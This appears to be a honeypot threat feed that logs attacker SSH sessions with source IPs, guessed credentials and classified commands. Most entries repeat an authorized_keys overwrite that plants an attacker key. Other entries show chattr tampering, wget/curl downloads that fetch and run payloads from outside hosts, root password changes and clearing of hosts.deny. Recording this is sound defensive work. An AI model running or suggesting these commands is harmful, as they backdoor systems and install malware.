$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ rogue_crumpet_root (87.106.44.172) โ€” London, United Kingdom ยท 1 session ยท 2 cmds
2026-07-27 15:55 EDT ยท as oracle/oracle1234!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ grumpy_wok_root (61.240.156.16) โ€” Jinrongjie, China ยท 1 session ยท 2 cmds
2026-07-27 14:22 EDT ยท as oracle/oracle1234!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_star_root_131 (20.118.128.131) โ€” Phoenix, United States ยท 1 session ยท 5 cmds
2026-07-27 10:34 EDT ยท as root/admin123
make executable โ†’ command โ†’ curl โ†’ wget
$ TMP=/tmp/install-endpoint-agent.sh; (command -v curl >/dev/null && curl -fsSL https://curlservice.com/download/install-agent.sh -o "$TMP" || command -v wget >/dev/null && wget -qO "$TMP" https://curlservice.com/download/install-agent.sh) && chmod +x "$TMP" && sudo "$TMP"; rm -f "$TMP"
โ†ณ make executable
$ command -v curl > /dev/null
$ curl -fsSL https://curlservice.com/download/install-agent.sh -o $TMP
$ command -v wget > /dev/null
$ wget -qO $TMP https://curlservice.com/download/install-agent.sh
๐ŸŽญ crimson_lotus_root (171.244.37.97) โ€” Hanoi, Vietnam ยท 1 session ยท 2 cmds
2026-07-27 10:27 EDT ยท as oracle/111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_viking_root (45.198.224.5) โ€” Stockholm, Sweden ยท 5 sessions ยท 5 cmds
2026-07-23 17:20 EDT ยท as admin/admin, deploy/deploy123, root/password
payload download from C2
$ wget http://5.182.210.61/ok -O /tmp/ok; curl http://5.182.210.61/ok -o /tmp/ok; chmod 777 /tmp/ok; sh /tmp/ok; rm -rf /tmp/ok; rm -rf /tmp/ok.1 ร—5
โ†ณ payload download from C2
๐ŸŽญ aloof_chateau_pi (77.206.3.51) โ€” Boulogne-Billancourt, France ยท 2 sessions ยท 3 cmds
2026-07-27 03:19 EDT ยท as pi/raspberry
make executable โ†’ execute payload โ†’ execute from /tmp
$ cd /tmp && chmod +x ufIbBRxT && bash -c ./ufIbBRxT
โ†ณ make executable
$ ./ufIbBRxT
โ†ณ execute payload
$ scp -t /tmp/ufIbBRxT
โ†ณ execute from /tmp
๐ŸŽญ haywire_tsar_root (45.195.221.26) โ€” Moscow, Russia ยท 1 session ยท 2 cmds
2026-07-27 03:00 EDT ยท as oracle/changeme
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_dragon_root_249 (8.130.148.249) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-27 02:54 EDT ยท as user/user
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ wired_dutch_root (91.92.40.151) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-11 03:15 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ haywire_flamenco_root (185.254.204.100) โ€” Barcelona, Spain ยท 1 session ยท 2 cmds
2026-07-26 23:53 EDT ยท as oracle/manager
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ haywire_bamboo_root_120 (103.69.96.120) โ€” Bรบt Sฦกn, Vietnam ยท 2 sessions ยท 4 cmds
2026-07-26 18:05 EDT ยท as oracle/adminadmin, oracle/password123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ gnarled_maple_root_102 (143.110.216.102) โ€” Toronto, Canada ยท 4 sessions ยท 4 cmds
2026-07-26 16:09 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—4
โ†ณ obfuscated system check
๐ŸŽญ velvet_peak_root_127 (58.152.42.127) โ€” Banyan Garden, Hong Kong ยท 1 session ยท 2 cmds
2026-07-26 10:54 EDT ยท as oracle/oracle123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ venomous_shogun_root (151.242.36.237) โ€” Tokyo, Japan ยท 1 session ยท 1 cmd
2026-07-26 06:30 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ weary_bike_root (91.92.40.25) โ€” Amsterdam, The Netherlands ยท 14 sessions ยท 14 cmds
2026-07-26 04:16 EDT ยท as admin/123456, admin/admin, deploy/deploy123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—14
๐ŸŽญ stoic_star_root (43.166.253.203) โ€” Ashburn, United States ยท 1 session ยท 1 cmd
2026-07-26 03:53 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ sullen_strudel_sol (64.225.108.207) โ€” Frankfurt am Main, Germany ยท 5 sessions ยท 5 cmds
2026-07-25 18:22 EDT ยท as anchor/anchor, firedancer/firedancer, metaplex/metaplex
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—5
โ†ณ obfuscated system check
๐ŸŽญ feral_poutine_sol (146.190.244.245) โ€” Toronto, Canada ยท 4 sessions ยท 4 cmds
2026-07-25 18:04 EDT ยท as eth/eth, sol/sol, solana/solana
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—4
โ†ณ obfuscated system check
๐ŸŽญ savage_burger_root (162.243.8.173) โ€” Secaucus, United States ยท 2 sessions ยท 2 cmds
2026-07-08 03:49 EDT ยท as postgres/postgres, user/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a ร—2
โ†ณ OS/kernel identification
๐ŸŽญ rusty_lantern (8.130.144.55) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-25 17:31 EDT ยท as deploy/deploy123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ ashen_stroopwafel_root (91.92.40.50) โ€” Eygelshoven, The Netherlands ยท 11 sessions ยท 11 cmds
2026-07-25 14:55 EDT ยท as admin/123456, admin/admin, deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—11
๐ŸŽญ ashen_husk_root (68.210.120.110) โ€” Vienna, Austria ยท 1 session ยท 2 cmds
2026-07-25 15:16 EDT ยท as oracle/qwe123!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brazen_liberty_root (34.63.42.56) โ€” Council Bluffs, United States ยท 2 sessions ยท 38 cmds
2026-07-21 12:18 EDT ยท as root/password, root/qwerty
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo "root:Bv93UMcacT8I"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ร—2
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo "root:3dcWOWgxeAHs"|chpasswd|bash
๐ŸŽญ derelict_cowboy_root (165.154.202.254) โ€” Los Angeles, United States ยท 1 session ยท 2 cmds
2026-07-25 12:57 EDT ยท as oracle/admin123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brazen_halohalo_root (47.80.70.204) โ€” Manila, Philippines ยท 1 session ยท 2 cmds
2026-07-25 12:17 EDT ยท as oracle/oracle#2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ glitchy_wok_root_167 (116.182.13.167) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-25 12:13 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ spectral_wok_root_86 (114.66.37.86) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-25 11:29 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ sullen_hanbok_root (59.15.58.148) โ€” Guro-gu, South Korea ยท 1 session ยท 2 cmds
2026-07-25 11:01 EDT ยท as oracle/Admin123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_wok_root (117.184.105.34) โ€” Changning, China ยท 1 session ยท 1 cmd
2026-07-25 10:52 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ rusty_stein_root (150.241.113.163) โ€” Frankfurt am Main, Germany ยท 1 session ยท 2 cmds
2026-07-25 10:46 EDT ยท as oracle/ORACLE
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sneaky_chateau_root (141.95.162.162) โ€” Gravelines, France ยท 1 session ยท 20 cmds
2026-07-25 06:51 EDT ยท as ubuntu/ubuntu
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "ubuntu\nGBgzy2uwcOKM"|passwd|bash โ†’ Enter new UNIX password: โ†’ echo "ubuntu\nGBgzy
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "ubuntu\nGBgzy2uwcOKM\nGBgzy2uwcOKM"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\nGBgzy2uwcOKM\nGBgzy2uwcOKM\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ hollow_pho_root (103.90.224.131) โ€” Quแบญn Phรบ Nhuแบญn, Vietnam ยท 1 session ยท 2 cmds
2026-07-25 06:00 EDT ยท as oracle/Passw0rd@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ derelict_panda_root (117.72.35.56) โ€” Chaowai, China ยท 1 session ยท 20 cmds
2026-07-25 05:51 EDT ยท as oracle/Oracle123
chattr -ia .ssh to lock directory โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ overwrite SSH keys with attacker-generated RSA payload โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ passwd oracle/Oracle123 with piped hashes โ†’ cat /proc/cpuinfo | grep model | wc -l โ†’ free -m | grep Mem โ†’ uname -m โ†’ top โ†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "Oracle123\np7viVvHMcNeb\np7viVvHMcNeb"|passwd|bash
$ Enter new UNIX password:
$ echo "Oracle123\np7viVvHMcNeb\np7viVvHMcNeb\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rusty_jade_root (222.73.56.10) โ€” Shanghai, China ยท 1 session ยท 2 cmds
2026-07-25 03:47 EDT ยท as oracle/rootroot
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
